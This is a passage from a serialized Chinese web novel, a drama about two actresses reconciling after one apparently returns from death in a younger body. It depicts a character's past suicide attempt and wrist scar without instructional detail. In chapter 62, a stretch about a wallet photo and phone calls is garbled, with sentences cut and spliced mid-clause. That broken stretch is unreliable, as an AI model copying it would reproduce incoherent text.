沈凝雪不语,默认了黎数的说法。 黎数一开始,真的只以为陆嵬是因为亲人病危的打击太大,才产生了轻生的行为。 黎数说:“陆嵬自杀是什么时候的事情?是因为那个黎数的死吗?” 沈凝雪压下了哽咽:“黎数死后的第二个月月初。那时候六陇市政|府宣布结束救援,所有人力物力都投入到了城市新建和预防疫病方面。” “同时间,陆嵬的外祖母病危住院,一周,刚刚好在第七天的时间,陆嵬的母亲从她那逼她交出了正在筹备中的第二份剧本。她母亲离开的第二天,她外祖母的手术成功,第七天,宣布脱离危险期,第二十五,从ICU转到了普通病房,当晚,陆嵬支开了周姨,凌晨在家里自杀。” 黎数茫然的抬起头,“她不是说,她外祖母已经达到临床治愈了吗?” “那是前不久的事情,她外祖母刚刚结束最后的治疗,现在才勉强出院,在家里静养。”沈凝雪稳定情绪,“两年前,她外祖母处于危险期,死亡率高达百分之六十。” 黎数的声音有些空茫:“她自杀的行为和原因,有黎数的一份?” 沈凝雪扯了扯唇角:“她外祖母的病不是一天两天了,也不是第一次入院治疗,更不是第一次被下发病危通知书。多凶、多猛的病,进了太多次手术室,拖得时间太久,情绪都会被秏空的。” “刚刚的那一场杀青戏,你不是看到了吗?”沈凝雪说:“你以为左碧君是为什么举枪自杀?亲人、朋友、挚爱,这些全部消失后,谁还能活?这个电影从一开始规划就没有左碧君多少着墨,你又觉得,是因为什么,在你进组以后,左碧君突然被丰富到了这种程度?不就是因为她想单独圆一场把一切都告诉黎数的梦吗?” “你不知道黎数对陆嵬而言有多重要。黎数一个人的存在,几乎占据了陆嵬小半生的时间,从她十八岁开始,到二十五岁黎数离开,所有启蒙时的情感,所有对感情的期盼,对家的幻想,被偏宠的疼爱,黎数全都给了她。对陆嵬而言,黎数是她的全部。”沈凝雪说:“你太年轻了,小黎。十八岁这个年纪,对一切都好奇、都向往,都有无与伦比的征服欲,你身上的不定性因素太多,我不希望因为你,把她再给毁了。” 黎数说不出话来。 有点累,坐在了后面不远处的椅子上,抬头时,看到陆嵬已经下了戏,满脸紧张惊惶的往这边走来。 似乎是看到了沈凝雪的身影,陆嵬怔了下,改成了跑的,到这里的时候有些气喘,心慌又严肃的抓着沈凝雪的手臂,问她:“你跟她说什么了?!” 沈凝雪皱眉,“小嵬,你清醒一点!她不是黎数!” “她是!”陆嵬的目光有点慌张的看着黎数,又转回去,语无伦次的说:“她真的是黎数,她就是黎数……” 沈凝雪气的不轻,刚要说什么,余光看到黎数忽然站了起来。 紧接着,她听到黎数说:“我确实是黎数。” 沈凝雪硬生生气笑了,咬着牙说:“我知道你名字也叫黎数,但你不是那个已经死了的黎数!” 黎数不想再继续纠缠这个荒谬的话题,‘啧’了一声,说:“我就是那个已经死了的黎数,我就是我。” 沈凝雪压根不信,“我看你是疯了,我刚刚说的你一个字也没听进去!” 黎数张张嘴,又闭上了。 60-70 第61章 第六十一章【VIP】 从现场到车边,裘夏的速度不算太慢。 今天是黎数和陆嵬双双杀青的时间,即便天色很晚,但该有的杀青仪式也要庆祝,花也得补上。 被春风通知说这边结束的时候,裘夏刚拿到预定好的花,让春风回去整理东西,自已捧着花就过来了。 也知道沈凝雪在这里,以防万一,没让其他人跟过来。 远远的,却看着前面的气氛不太对。 裘夏已经到了跟前,站在沈凝雪身边,目光在陆嵬和沈凝雪博弈似的、互相握着对方的小臂的手上看了一眼,皱眉说:“你们在吵什么?” 她看了眼站在边缘的黎数,又看了看在车里偷窥的521和元宝,借着把花交出去的动作,不经意间分开了陆嵬和沈凝雪。 然后裘夏把剩余的那份花束递给黎数,笑着说:“白玫瑰和梨花围成的花束,恭喜杀青。” 黎数伸手接过,语气平静的说:“谢谢。” 成功分开了三个人,裘夏脸上还是那副吊儿郎当不着四六的笑,“好了,花都接了,现在能告诉我,到底是怎么了吧?” 沈凝雪冷冷的看着黎数,片刻后,将目光挪到陆嵬身上,说:“跟我回去。” 陆嵬要挣脱,但沈凝雪力气大的出奇,挣了几下没挣开,也恼了:“我不,你放开我!” 她的目光有些惊惶的回头看黎数,像是担心黎数恼了、没耐心了,又或是不愿意面对眼前这一团糟的局面离开。 沈凝雪也被她几次三番顶撞、挣扎的动作弄得彻底动了气,但顾虑到陆嵬的情绪和身体,一直强压着怒气,说道:“小嵬,你听我说。你自已是知道的,真正的黎数两年前就已经死了,你在六陇市不眠不休挖了三天三夜,逢人就问有没有见过她,但当时黎数所在的山脉直接陷入地底裂缝,她根本没有生还的可能,她们两个长得再相似也不可能是同一个人!” 黎数瞳孔一缩。 刚刚那一幕戏里,在海面上寻了三天三夜,在码头上拿着一张老照片,因为年老体衰,只能坐在轮椅上焦急流泪,却逢人就问‘你有没有见过她’的人,是左碧君的外祖母。 黎数只在刚睁眼时,看到过那一条两年前的视频,那条视频里,陆嵬在她消失的地方挖掘了很久。 她记得陆嵬指缝间流出的血,记得陆嵬毫无血色的唇。 其他的事情,她一概不知,也下意识的回避去了解。 那之后所有的事情,她都不知道。 包裹花束的硬质塑料和报纸被捏紧后的声音极大。 裘夏不着痕迹的看了黎数一眼,目光若有所思,有一个荒谬到没法让一个正常人去相信的念头出现。 但太匪夷所思,裘夏第一时间没往深处去想。 她不清楚沈凝雪为什么突然和陆嵬要提起这桩已经时隔了两年之久的往事,甚至是还当着黎数的面说。 但不管这三人之间谁先开了口,她起码都能知道究竟是发生了什么。 陆嵬被这句话深深刺伤,她再度哽咽,摇着头说:“我没疯,我也没忘,我知……我知道她死了,甚至是我把她关在仓库里的,最后我连她的尸体都找不到,到现在我都没找到,不用你一遍遍提醒我。” 沈凝雪眼圈也红了,“小嵬……” 但她没有放开陆嵬的手,低声说:“你既然知道,那你为什么还要放纵自已向下沉沦?为什么要在一个赝品身上废这么多心思?到了现在,感情上的真真假假你真的还分得清楚吗?她才十八岁!陆嵬,十八岁是什么概念?她今天可能喜欢你,明天就可能会厌倦你,利用捆绑利益换来的感情最终只会走到互相猜忌,相看两厌恨不得置对方于死地的那一天!你妈身上的悲剧你还没看够吗?黎数有天赋、有演技,是个极其聪明的人,但她始终只有十八岁!她知道什么叫做‘承担’什么叫做‘后果’吗?她能想的那么久以后得事情吗?你想利用她做什么,她又想利用你达成什么?我只知道现在陷得越来越深的人是你!” 急喘了一下,沈凝雪伸手抹掉了脸上的滑落的眼泪,声音恢复了冷静,“从她和你的热搜频频出现开始我就觉得不对劲了,但你的情绪日渐变好,我不舍得问你,也不敢去在那个时候逼你,我以为你能控制得住自已。” “直到后来顾宗年突然借剧组,后来又几次三番打着探班和考察、带着学生学习的名义过来,实!” 沈凝雪目光犀利,直直的看着陆嵬:“你告诉我,你究竟想干什么?是要为了一个死人报仇,然后利用一个十八岁的孩子去拖着顾宗年一起死吗?你不要前途不要未来了?你敢说你告诉过她你真正的目的是什么吗?你又真的能看着她顶着这张脸去和顾宗年那帮自诩纯血正统的老不死虚与委蛇吗?!你又有完全的把握能真的保住她吗?!” 声声质问砸的黎数头晕目眩,直到现在,她都从没想过,从一开始原因究竟是什么。 又,也不可能猜到。 然而沈凝雪今天将一切剖开,黎数忽然懂了。 为什么相似的人那么多,陆嵬也不是第一天知道‘黎数’的存在,却偏偏在试镜的那一天结束后找上门。 百害无一利的合同。 为什么在合同存续期间,不能和任何人接吻、上|床、恋爱,哪怕暧昧都不行。 又为什么,明明面对的人是连着两次抢走了自已剧本的‘仇人’,却始终压着脾气,甚至能同桌吃饭。 是因为只有自已,才能有那个资本去当饵,引顾宗年再一次上钩。 黎数想起了两年前陆嵬阻止自已去金凰奖的原因,想起了沈凝雪刚刚说,陆嵬祖母两年前正处于疾病突发的最凶险的时期,想起了就是在那个时候,陆嵬被逼着交出了第二份、正在筹备中的剧本,想起了曾经爆红一时,却在一年后彻底消失,最终在精神病院度日的夏希,也想起了顾宗年几次三番对自已的肯定,对自已和陆嵬之间感情的试探,和若有似无抛出的橄榄枝。 费鹤鸣遇到瓶颈选择的是隐退,转而蛰伏、等待着秦霜崭露头角,顾宗年是不择手段的掠夺。 沈凝雪几乎气急了,抢过陆嵬手里的花束,没头没脑的就往陆嵬身上打。 花都被处理过,外面还裹着包装,那么粗一份,打到人身上根本不疼,倒是花瓣落了满地。 陆嵬一声不吭的站着,也不躲。 花瓣掉完了,只剩下枝条,抽在身上就会变疼,沈凝雪再一次抬起来的手一僵,咬牙,发了狠的还要打。 裘夏‘卧槽’一声,三两步冲上去抱住了沈凝雪,把她往后拖。 沈凝雪这种一贯温柔起来的人,真发起脾气来才是真正的六亲不认。 她气的去推裘夏的头,挣扎着尖叫:“你拦我干什么!你放开我!陆嵬疯了,她把这孩子当成已经死了的那个黎数了,这小女孩也一起疯了,她真以为自已是个死人!你去抓她们去啊,你还要看着她俩一起往下疯吗?!” 裘夏又一声,惊悚的喊:“什么?!” 尾音失声破音,裘夏极快的往黎数那边看了一眼,然而只一眼,裘夏心里就是重重的一跳。 连日来的疑惑、苦恼,陆嵬的反常,黎数前后判若两人的脸、习惯、性格,和与十八岁小孩完全割裂的为人处世,在这一刻似乎有了最荒谬、却最合理的解释。 裘夏勒紧沈凝雪,沈凝雪已经没力气了,头发乱糟糟的散落着,戏里的发饰也跑到了裘夏头上,挂着几根头发要掉不掉。 裘夏终于松开手,扯断了几根头发的同时,舔了舔嘴巴,低声说:“可能,也许,我是说陆嵬好像……没疯?” “她当然没疯!”沈凝雪剜了她一眼,又狠狠给了裘夏胳膊一下。 裘夏吃痛,委屈的的不行:“又不是我说她疯了的!你干嘛打我!” 嚎了几嗓子,裘夏又往黎数那边看。 黎数始终一言不发,目光望着地面,不知道是在看散落的花瓣还是在思考。 现场只剩下沈凝雪重重喘着粗气的声音。 裘夏看了下四下,心想简直是乱成一锅粥了。 这边的动静再闹得大一点,待会收工的剧组全员就都要知道了。 正在想着对策,怎么把沈凝雪劝回去,可一时之间也不知道要怎么开口,迟疑间,裘夏又下意识的看了眼黎数。 黎数呼出了极其冗长的一口气。 时间太短,根本不容她有过多的思考,也不容她去想清楚沈凝雪那番话背后的深意。 她手里还拿着那捧花,目光落在了垂着头,无声流着眼泪的陆嵬身上。 “我没疯,陆嵬也没疯。”黎数说:“两年前,我的确是死了。二月十四号那天晚上,陆嵬开车去了六陇市,把我拷在了拍摄场地的一个仓库里,我记得那应该是零点前后的事情。” 沈凝雪重重皱眉。 裘夏饶是已经有了猜测,但真的听到黎数亲口这么说,还是有一种唯物主义崩塌,信仰崩裂的魔幻。 黎数抿抿唇,说:“她刚到六陇市的时候,应该给你打过一个电话。关于两年前的金凰奖归属权,以及岑巡的合同变更,我当时偶然听到,没记错的话,那通电话的最后一句,陆嵬说的是‘我爱你’。” 沈凝雪瞳孔重重一缩。 即便陆嵬真的告诉过黎数两年前的那晚她打过电话,或许是陆嵬午夜惊醒无数次复盘后被黎数总结出来,但不可能连这么细枝末节的地方都注意到。 黎数目光转向了裘夏,说:“裘总,陆嵬应该让你调查过‘小黎’的生平经过,你应该也看过。那你应该就清楚,一个人不可能在这么短的时间内变化这么大的。” 裘夏抱着沈凝雪的手一紧。 沈凝雪注意到了,下意识抬头看了看裘夏紧绷的下巴。 黎数说:“沈总,如果你到现在还认为我是‘小黎’,也可以,没问题。但你和我、和陆嵬之间,什么时候都可以清算,条件什么时候都可以谈,也不需要急于这一时。但现在,能不能,先把时间留给我,和陆嵬。” 黎数看了眼陆嵬,说:“我和她需要谈谈。” 陆嵬无措的怔住,几乎在地上生了根的脚步终于动了动,僵硬的往黎数这里挪了挪。 没等沈凝雪答应,裘夏先握紧了沈凝雪的手,她垂下眼,神情甚至是严肃的。 这一刻,黎数似乎明白为什么裘夏曾经会拥有带着旗下二十多个艺人和前公司彻底割裂,转而直接跳槽到寰宇的魄力了。 裘夏说:“都彼此冷静一下,刚刚小……黎数说的资料,我那里都有,宝贝儿,信我,先去看看。” 最后一句她的声音极小,除了沈凝雪以外没人听得到。 沈凝雪深吸了几口气,带着颤音说:“好。”- 裘夏带着几步一回头的沈凝雪离开,房车附近就只剩下黎数和陆嵬两个人了。 黎明前最后的、也最黑暗的时刻下,黎数仰起头,和陆嵬说:“先回酒店吧。” 陆嵬焦灼、惊惶,却不知道能和黎数说什么,只能硬把所有的情绪全部压下,跟在黎数身后默不作声的上车了。 元宝灵活的从窗口跳跃到了黎数腿上,踩了几圈后一屁股倒下。 黎数伸手在它开始变得圆润的身上抚摸,元宝发出了‘呼噜噜’的声音,眯着眼睛将肚皮反转,完全露在了黎数眼前。 521设定完了自动驾驶,从驾驶舱出来,已经完全没有了一开始想看好戏时的奸笑,眉心皱着,表情悲伤。 它满脸担忧的说:“小黎,你和陆嵬吵架了吗?” 黎数看了眼陆嵬,陆嵬脸上是毫不掩饰的仓惶,她抿抿唇,说:“没有吵架。” “哦。”521压根不信,方圆的小脑袋左右看看,又滑到陆嵬身边,问她:“你让小黎生气了吗?” 陆嵬和521的圆眼对视了片刻,狼狈的低下头,发出了沉沉的‘嗯’字。 521声音软软,小手搭在了陆嵬的腿上,仰着脑袋看她,轻声说:“那你去跟小黎道歉呀,你去跟她说对不起呀,她那么温柔,她一定会原谅你的。” 陆嵬沉默着摇了摇头。 黎数自始至终的一语不发,让她的勇气更是直线跌破到了谷底。 521慢慢的不敢说话了。 元宝还窝在黎数的腿上,黎数有一下没一下的抚摸着它。 521忽然很小声的说:“那小黎会不要你吗?” 陆嵬揪着一颗心,不敢点头也不敢摇头,根本不敢有回应。 521又说:“那小黎会因为讨厌你,也不要我了吗?” 黎数靠着椅背,大脑分析的能力几乎快要崩盘,她甚至不敢去回想这一天一夜以来,她的脑子几乎负荷了什么。 但听到521这么问的时候,黎数抬起头,过了会,说:“不会。” 陆嵬抬起头,手和521温热的手指紧紧捏着。 521很娇气,往常察觉到身上遭受的压力到达可以喊‘痛’的时候,一定会哭天喊地的嚎叫。 但现在手指已经超过了‘正常人类’可以忍受的痛感时,它却一言不发,只是抬着头,小心翼翼的问了句:“真的吗?” 黎数又“嗯”了一声。 521又挣脱开陆嵬的手滑到了黎数身边,问出了陆嵬想问却不敢问的话。 521执着的追问:“那你是会不要我,还是会不要陆嵬呢?” 黎数这次回复的很快,她又说:“都会要的。” 如蒙大赦般,陆嵬一口强提着的气松懈下来,整个人几乎颓然软倒,才察觉出自已身上早就被冷汗沾染的湿透了。 回去这一路上她表情都无比的轻松,后知后觉的疲惫涌上来,但一直强撑着不敢、也不舍得闭上眼睛。 从景区到达酒店要好一会,中途黎数让521暂时停了下车,她下去买了点东西。 陆嵬注意到黎数是去了药店,不多时就上来了,拎着一个小包裹。 陆嵬也猜不出她是去买了什么,又不敢问。 但还是自作多情的看了眼刚刚被沈凝雪打到的地方,连个油皮都没破,一丁点印子都没留。 她又是焦急又是好奇,一路上难捱得很。 回到酒店的时候,天也差不多亮了。 酒店这会醒着的人不多,只有零星几个熬了大夜的人去吃早餐,吃完以后正好方便补觉。 黎数也去取了一点,本来想让陆嵬先上楼,但陆嵬不肯。 陆嵬也不说话,就闷不作声的一直跟着黎数。 赶不走也不说话,就用那双眼睛可怜巴巴的望着。 弄得黎数也想用手里的花抽她,又下不去手,又觉得好笑又觉得生气。 忍了忍,黎数又和陆嵬一人拿着一份饭上了楼。 又是沉默的吃完一顿饭,黎数眼睛几乎已经快要睁不开了。 她和陆嵬两人都不遑多让,拍了一天一夜的戏,本来就没休息多长时间,见缝插针的补了觉,情绪和大脑又骤遇重击,彼此也都差不多到极限了。 黎数从包里取出了刚刚在药店买的那瓶药,按照说明书给陆嵬递了四颗,又取出四颗放在了自已面前。 陆嵬连头也没抬,黎数给她,她就吞了。 黎数挑挑眉:“你不怕这是毒药?” 陆嵬摇摇头,说出了一句黎数觉得她可能真是熬夜熬到傻了才能说出来的一句话:“我不在乎,你喂给我的,毒药都是香的。” 黎数起了一身的鸡皮疙瘩,没好气的和水咽了,说:“给你的是褪黑素。先好好睡一觉,睡醒了再聊。” 陆嵬愣了愣,居然颇觉遗憾,慢吞吞的‘哦’了声后才点头,又指着床,说:“我能不离开这个房间睡吗?” 黎数低头已经在去刷牙的路上,闻言无语的回头:“我没赶过你。” 陆嵬又亦步亦趋的跟着黎数。 黎数刷牙她刷牙,黎数洗脸她洗的时候还在不停地偷瞄,等从卫生间出来,黎数上床,陆嵬左右看了看,才慢吞吞的爬上了自已那张床。 黎数躺下去的那一瞬间,感觉浑身的肌肉都在尖叫。 这一刻她甚至没什么边际的想的是——521给她测试过,她现在的身体机能就是十八岁的少年人,体能、活力、代谢,无一不比陆嵬年轻。 怎么陆嵬比她看着还能熬? 天赋吗? 合上眼睛之前,黎数已经觉得自已说话的速度像是梦游。 浑身的肌肉被涌上的药效软化,无可抵挡的向床铺陷下去,黎数低声说:“先睡吧,睡醒以后,大脑清醒了我们再谈。” 陆嵬的后背贴着床头,明面上应了一声,却在黎数睡着以后,从自已的床上下去,悄悄爬上了黎数的那张床。 521从黎数那里得到了‘一定不会抛弃’的指令后就开始放肆招摇,顺带欺负陆嵬。 见陆嵬爬上黎数床,521鬼气森森的溜过去,“你现在没有梦游!” “梦了。”陆嵬早就熬过了那点褪黑素的催眠药效,但怀里抱着黎数香香软软的身体,闻着黎数身上香香软软的味道时,才觉得阵阵困意上涌。 陆嵬闭上眼,低声嘟囔着说:“她说了,都会要的。” 521笑着说:“那当然啦!小黎一定不会不要我的!” 它还想和陆嵬聊天,但已经检测到陆嵬进入了睡眠。 521立刻噤声,小心翼翼的滑到了床边,眨巴眨巴眼睛,把这幅画面给拍了下来- 这一觉睡得其实不算久。 前面熬的太狠,大脑反而会变得兴奋,黎数记得睡前是上午九点,睁眼后甚至才刚刚一点。 窗外的日光大喇喇的照着大地,但好歹睡过一觉,黎数还是有一种‘还好没猝死’的感觉。 腰身被紧紧的搂着,陆嵬硕大一只硬是缩在她怀里,在靠近她胸口的位置睡的正香,一呼一吸间,热气冷气交替着吹在胸口,黎数不自在的把衣服往上扯了扯。 似乎是察觉到黎数醒了,陆嵬的眼皮颤了颤,缓缓睁开了眼睛。 休息过后大脑已经变得足够清醒,黎数也没撒手,只是挑眉说:“又梦游了?” 陆嵬不语,摇摇头,也不知道是在说‘不是’还是‘不知道’。 521捧着昨晚的花束滑行到床边,兴高采烈的说:“小黎小黎,花醒了很久,要把它插起来带回家吗?” 昨晚的记忆回笼,黎数想起这束花是裘夏送来的。 她拍拍陆嵬的脸,哑声说:“起来。” 陆嵬这次没耽误,忍不住的磨了下牙,手却只敢在被子上狠狠一抓,不情不愿的起来了。 然后被黎数赶到了另外一张冰凉的床边坐好。 黎数清理了很久,才勉强把昨晚上的事情给捋顺。 昨晚应该是最后一场戏把沈凝雪气急了,彼此都熬了大夜不清醒,倒豆子似的说了许多。 有一个疑问在心里盘桓许久,从前诸多放任甚至刻意漠视的情绪下,黎数不想问,也不敢问。 她生怕从陆嵬口中听到任何关于对沈凝雪抱有爱恋的词。 此前和陆嵬之间苦衷夹杂着误会,都不是愿意去追根究底,都是遇到问题先自已吞,以至于矛盾愈演愈烈,最终崩毁于一场谁都没有想到的天灾。 遗憾吗? 遗憾的。 后悔吗? 后悔的。 想起昨晚,沈凝雪字字句句的维护,气急败坏时甚至要打陆嵬,却又不舍得下狠手,抽在陆嵬身上的全都是花瓣,甚至没有花茎。 最后那一下,在半空中举了很久,又很顺理成章的被裘夏给拦住了。 当时没看懂,现在想想,就好像是要揍孩子的家长,知道会有人拉着,所以高举起来,故意摆出来个姿态,来威胁人似的。 黎数表情变幻了数次,终于把话从舌尖逼了出来,说:“沈凝雪是你什么人?” 陆嵬茫然抬起头,“凝雪姐?她不是什么人,她是我姐啊。” 第62章 第六十二章【VIP】 日光在阳台的地面投射出大面的炫光,陆嵬被刺的眯了眯眼。 她直觉黎数突然提起这个不正常,狐疑的说:“怎么忽然说到她了?” 又想起可能是昨晚沈凝雪显得咄咄逼人的态度让黎数生了气,毕竟连珠炮似的一句接一句,陆嵬听着都头大如斗。 陆嵬往前一扑,膝盖蹭在地上。 地上地毯厚,她也不觉得疼,跪坐在地上,紧张兮兮的仰着头说:“你别生她的气,我这两年……确实干的事情都不怎么靠谱,日子过的也不太像话,她什么都不知道,也不是责怪你,她只是不相信我。” 521方圆的脸上贼光一闪,默不作声的开启实时录像功能。 话总要一句一句讲,事情也总要一条一条去理顺。 黎数让陆嵬先起来,陆嵬不愿意动,她好像抱黎数的腿上了瘾,就这么跪坐在那,默不作声的摇了摇头。 黎数看她头顶的发旋,莫名其妙的居然还有心思去想,这两年陆嵬身体都亏空成这样了,居然没脱发。 甚至发量还挺多。 黎数敲敲自己眉心,让自己回神,说道:“我知道她没有责怪我的意思。” 昨晚沈凝雪说的每一句话都不出格,也不是无端的愤怒。 她和陆嵬两个人平等被骂,陆嵬被指责的更多一点——毕竟十八岁这个年纪,实在是能帮她挡下很多事情。 陆嵬的下巴枕在黎数的膝盖,闻言上下晃了晃,像是同意黎数的说法。 陆嵬不起来,黎数就没再逼她,迟疑了两秒,说:“你说她是你姐姐……?” 陆嵬‘嗯’了声,想起了黎数曾经说过,自己的家里人她一个人都不认识,也从没见过,便急切的说:“我姨姥姥你还记得吗?肿瘤科主任余宝珠,也是第一次见面时给你处理伤口的那位。” 黎数点头:“记得。” 陆嵬就说:“凝雪姐是我姨姥姥的外孙女,算起来是我表姐。她跟我同辈,她妈算是我的表姨,我们俩是表亲关系。我小时候是在她们家长大的,那时候大人们都忙,她比我大了整整十岁,我几乎是她一手带大的。” 或许是黎数昨晚那一句‘都不会不要’给了陆嵬一步步试探的勇气,她不光抱着黎数的腿,还把脸放在了黎数的膝盖上,轻轻贴着,暖热了就换一边脸继续贴。 一边贴着,手一边顺着黎数光滑的小腿上下抚|摸。 不带什么情|色暗示,就是单纯的抚|摸,偶尔捏两下,从小腿肚一路捏到脚踝。 黎数的腿上没有从前拍戏留下的伤疤,陆嵬偶尔在从前有疤痕的地方稍稍停留,但黎数始终没什么反应。 期间她的动作颇为小心翼翼,随时做好了被黎数拒绝、然后停止的准备,但黎数始终没说什么。 陆嵬这一刻也说不清是什么思绪,只是动作又更放肆了些。 陆嵬说完了,又想起被沈凝雪抽的那一顿花瓣,无端丢了面子,和黎数说:“她小时候看我很严,动手是家常便饭。” 这个回答,黎数始料未及。 不管是前面陆嵬说沈凝雪是她表姐,还是后面陆嵬说沈凝雪从小把她带到大,又总顶着一张温柔的脸但很喜欢动手。 黎数:“……” 一时之间,所有曾经因为这三个字而辗转难眠的夜晚,在这一刻都显得那么像是个笑话。 黎数忽然苦涩的笑了声,低声说:“你应该早点告诉我的。” 陆嵬听出了她语气不太对,有点慌张的抬起头,轻声说:“什么?” 黎数却只是缄默的摇了摇头。 让她从哪里说起呢? 七年间她们聚少离多,黎数也没有翻看陆嵬手机隐私之类的习惯,一直都觉得没什么必要。 陆嵬也基本没接过什么私人电话,她所知道的,也只有一个挚友和合作伙伴,是裘夏。 但陆嵬直觉黎数不愿意说出口的原因应该至关重要,甚至是从前她们数次争吵的其中一个重要的原因。 多少苦痛都熬过来了,她和黎数之间还能到今天,陆嵬不甘愿放过任何一条信息。 “到底是什么?跟凝雪姐有关系吗?”陆嵬执着的问,双眼紧紧的盯着黎数,说到后面,语气带了一丝软弱:“你不是觉得我们两个之间藏着太多误会了吗?那以后彼此都不要隐瞒好不好?” 或许是这句话触动了什么,黎数抿了抿唇,忽然说:“你的钱包里,有和沈凝雪的合照。” 陆嵬一愣,明明什么都不知道,*但本能似乎嗅到了什么,下意识的个的合照下面,后面就是我和裘夏的,再后面就是裘夏和凝雪姐的,但和我的。” 黎数根本没去翻,只是陆嵬有一次将钱包顺手扔在桌子上时,里面的照片滑出来,她不小心看到了而已。 家里接打电话,每一次接到她的电话的时候,都会单独去阳台。” 陆嵬眼睛微微睁大,理解了黎了,只有阳台信号好,而且她每事,或者都是跟我……我父母相关,我不想让你知道那些,太恶心了。” 黎数指出原因,“所以,我获取,也非常被动。” 陆嵬迟疑了片刻,点了点头。 黎数又说:“你的车上经常有沈凝雪的周边、海报、签名,刷到她的新闻的时候也都会看上很久。” 陆嵬还是点头,但还是重申了一句:“裘夏逼我买的。” “你也经常和她同进同出,举止很亲密,她会摸你的脸,揉你的头,和你拥抱。”黎数头疼的说:“抱歉,我虽然也有姐妹,但我并不知道一般感情很好的姐妹是怎么相处的。这种行为在当时的我看来,有些过度亲密了。” 这次不等陆嵬说什么,黎数说:“直到那天晚上。我们争吵的那一天,我听到你和沈凝雪的最后一通电话,最后一句说的是‘我爱你’。” 陆嵬张张嘴,一瞬间居然无言以对,和黎数四目相对,只余下了苦笑。 大白后的真相居然显得这么荒谬。 但凡她们两个人之间能多一些了解,但凡过去那七年间她们多参与对方的私生活一点,但凡不是因为那七岁的年龄差而在最开始就埋下了一颗不信任的种子,可能她和陆嵬之间都不会走到最后那一步。 甚至在当初,可能只需要多问一句话而已—— “打电话的是谁?” “凝雪姐。” “那是谁?” “我表姐。” 而不是只能看着新闻上隔三差五就会爆出的新闻再三自我折磨。 毕竟沈凝雪确实优秀。 至戚世交,并蒂青梅。 一层接一层的关系砸下来,黎数实在是没办法多问一个字,生怕一旦问出口了,就无法挽回了。 陆嵬抱着黎数小腿的手紧了紧,片刻后低声说:“对不起。” 黎数摇了摇头,有点尴尬和不好意思,但迟疑了下,想起之前自己说过的那句‘我也不是没有错’又释然了,也说了句:“我也该和你说一声对不起。” 陆嵬一言不发的摇着头,嘴唇来来回回的在黎数腿上贴来贴去。 黎数欲言又止的看她,但还是没忍心说拒绝的话——陆嵬这两天嘴唇太干了,扎在腿上有点疼。 问到这一步,本来也没什么好说的了。 黎数已经自发把那句‘我爱你’当成了姐妹之间关系很好的证明。 但陆嵬不干,她把那天晚上所有对话仔细回顾了一下,全部拆分开给黎数讲。 陆嵬仰起头:“那句我爱你不是和凝雪姐说的。” 黎数果然一愣:“什么?” 陆嵬回想了一下时间,但因为那两年她自己的记忆都混沌得很,只能归拢个大概出来,“当时打电话的时候,凝雪姐应该在医院,陪着我姥姥做最后一次的配型检查。” 黎数静静地听着。 陆嵬继续说:“但是不太幸运,配型库里没有合适的配型,我和凝雪姐,还有我表姨没有一个能和我姥姥配上,三代直系血亲以内,就只剩下我妈一个人了。” “我的第一个剧本,就是因为这个原因给出去的。”陆嵬眨了眨眼,提起这件事情时还是藏不住的苦笑:“不知道该说是幸运还是不幸运,她配型成功了。” “那句‘我爱你’,是跟我姥姥说的。”陆嵬仰起头,“我没骗你。” 黎数说:“我相信你。” 黎数想起了陆嵬一共被逼着交出去了两份剧本,虽然已经有了猜测,但还是多问了一句,“你第二份正在筹备中的剧本是……” 陆嵬垂眸:“她一开始不同意移植。” 黎数握着陆嵬的手紧了紧,“这不是耍人玩吗?那好歹是她亲生母亲!” 一开始就没配上就算了,用配型向自己的女儿要挟,配型成功后,患病的对象还是自己的亲生母亲,却临时反悔不愿意捐献,又再一次当做筹码,去交换资源。 陆嵬半坐倒在地毯上,一步一步的试探着黎数的接受程度,从环着黎数的腿,改成了环着黎数的腰。 脸也埋在她小腹前上,低声说:“她和你不一样。” “你能把你所有的存款都交给黎余,没给自己留一点后路,如果你妈妈得的不是癌症,而是白血病的话,我知道你也一定会去做配型的。但秦子帆不同,她……”陆嵬低声说:“她只考虑自己而已。” 黎数低下头,轻轻摸了摸陆嵬的头发。 陆嵬的头埋的低低的,头发颜色是并不正常的黝黑。 几周的时间,陆嵬的头发没长出来太多,但已经有些在发根的位置变白了。 黎数只是无意识的拨弄,心疼和酸涩占满了胸腔。 但令她没想到的是,下一秒,陆嵬就抬起了头,一手捂着自己的长发,低声说:“我以后每个月……不,以后每两周就去染一次头发,不会很难看的。” 黎数怔怔的看着陆嵬,在短暂的安静过后,忽然伸手抱住了她。 “不需要。”黎数看穿了陆嵬的慌乱和惶恐,低声说:“你头发全白了我也喜欢你。” 冷气可能出问题了。 陆嵬想。 不然怎么身上会忽然的一阵冷一阵热,又因为黎数的一句话忽而身处天堂,忽而身处地狱。 “真的吗?”陆嵬明知故问。 黎数‘嗯’了声,肯定的点头。 陆嵬抿抿唇,一咬牙,从地上坐起来,整个人挤到了黎数怀里。 黎数的身高定格在了一米六六,没有再长高的迹象。 黎数耿耿于怀很久,经常让521记录她的身高数据,毕竟她从前一米七二的身高,无端缩水整整六厘米,想起来就是半天的不顺心。 以陆嵬的体块来说抱着确实是有点勉强,但是陆嵬不管,这一刻,想要试探黎数的容忍度的想法几乎把她的大脑占满了。 黎数被她压得整个向后倒,在她腰上轻轻打了一下,低声说:“陆嵬!” 陆嵬‘嗯’了声,听出了黎数不是真心拒绝,倒在黎数身上根本不动。 黎数又心软了,任由陆嵬压在自己身上,脑袋也埋在她颈侧不断地闻嗅。 室内天光亮的非比寻常,今天是一个极好的艳阳天。 黎数忽而笑了声:“你怎么比两年前还粘人。” 陆嵬沉默地摇了摇头。 黎数的手无意识的摸索着,忽然抓到了陆嵬的左腕。 陆嵬下意识的缩了缩,下意识要从黎数身边爬起来。 黎数没用力,让陆嵬缩回去了,她又重新抓住,同时说了句:“别动。” 陆嵬就一动不动了。 解下外面那层有些脱皮的表带,一条狰狞的伤疤便暴露在了眼前。 黎数曾经见过‘小黎’的伤口。多、杂、凌乱。 想死但是没有下定决心的人,会拿捏不清楚力道,导致很多伤口会很浅,也有很多人会因为疼痛而放弃这个行为。 但陆嵬不是这样的。 她整个手腕上只有一条伤口。 深、重、长且狰狞。 黎数看了很久,拇指在伤口上轻轻摩擦着,莫名想到初见俞宝珠的时候,她在处理室门内听到俞宝珠说‘她是奔着必死的想法去的’这句话,更适合陆嵬。 陆嵬无措的缩回手,人也从黎数身上爬起来了,小声说:“不好看,我……我以后去做除疤手术。” 黎数脸上没有笑容,“那你是不是还要植发?老了以后是不是还要去整容?人人都有不完美的地方,这么下去,你折腾得完吗?” 陆嵬笑的有些苦涩,小声说:“可是你现在刚刚十八岁。” 